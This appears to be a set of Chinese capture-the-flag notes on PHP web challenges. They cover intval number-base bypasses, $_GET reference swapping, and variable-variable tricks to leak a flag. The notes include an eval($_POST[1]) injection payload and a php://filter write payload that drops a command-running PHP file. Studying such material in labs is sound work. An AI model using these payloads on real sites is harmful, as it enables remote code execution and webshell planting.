- 4476是双引号包括的。所以将其当作字符串来比较

二进制0b1000101111100
八进制010574
16进制0117c

- 后面的m 表示多行匹配,无则只匹配一行
4. 弱等于 进制绕过intval($num,0)
二进制0b1000101111100
八进制010574
16进制0117c
5. intval 对空格 +开头的会删掉/正数处理
010574
%20010574
%09010574
+010574
$_GET ? $_GET = &$_POST : 'flag';
- 如果
$_GET
存在(即不为 null
或空数组),则将 $_POST
的引用赋值给 $_GET
。
- 否则,返回
'flag'
,但这里并没有做任何实际操作。
$_GET['flag'] == 'flag' ? $_GET = &$_COOKIE : 'flag';
- 如果
$_GET['flag']
的值等于 'flag'
,则将 $_COOKIE
的引用赋值给 $_GET
。
- 否则,返回
'flag'
,但这里并没有做任何实际操作。
$_GET['flag'] == 'flag' ? $_GET = &$_SERVER : 'flag';
- 如果
$_GET['flag']
的值等于 'flag'
,则将 $_SERVER
的引用赋值给 $_GET
。
- 否则,返回
'flag'
,但这里并没有做任何实际操作。
highlight_file($_GET['HTTP_FLAG'] == 'flag' ? $flag : __FILE__);
- 如果
$_GET['HTTP_FLAG']
的值等于 'flag'
,则显示 $flag
文件的内容。
- 否则,显示当前文件(
__FILE__
)的内容。
总结 :2、3不用管,看4:需要get传入httpflag=flag ,但同时由于1,GET存在,所以会将$ POST 的引用赋值给 $_ GET ,所以也要post传入HTTP_FLAG=flag
?v1=1&v2=eval($_POST[1]) ?>%23&v3=;
- 注意这里只需要v1 是数字则 v0就是True ,不需要v2 v3都是数字
- v0的赋值级别最高,然后v0是个数字就行,要保证v0是数字只要保证v1传入数字就好了,后面两个管你是不是数字,就算你是false也不影响我后面做题。
v1=1&v2=echo new reflectionclass&v3=;
GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=1.php
POST
v1=hex2bin
- foreach 函数
foreach($ POST as$key=>$ value) 解释为遍历$ POST数组内的元素,每组元素为一个键($ key)对应一个值($value)的形式。
重点在于$$的运用
一共使用了三次 die() 函数,第二次输出 $error,第三次输出 $suces
如果我们通过可变变量的使用,使 $error=$suces=$flag,则无论执行第二个 die() 还是第三个 die(),都可以获取 flag
法一:
GET suces=flag
POST error=suces
法二:
__利用下列 die($error) 输出 flag_
_if(!_$POST['flag']==$flag){_
die($error);_
_}_
_GET x=flag_
_POST error=x_
__法三:__
__flag 为空,绕过 if(!___$_POST['flag']==$flag) 判断_
__GET suces=flag&flag=__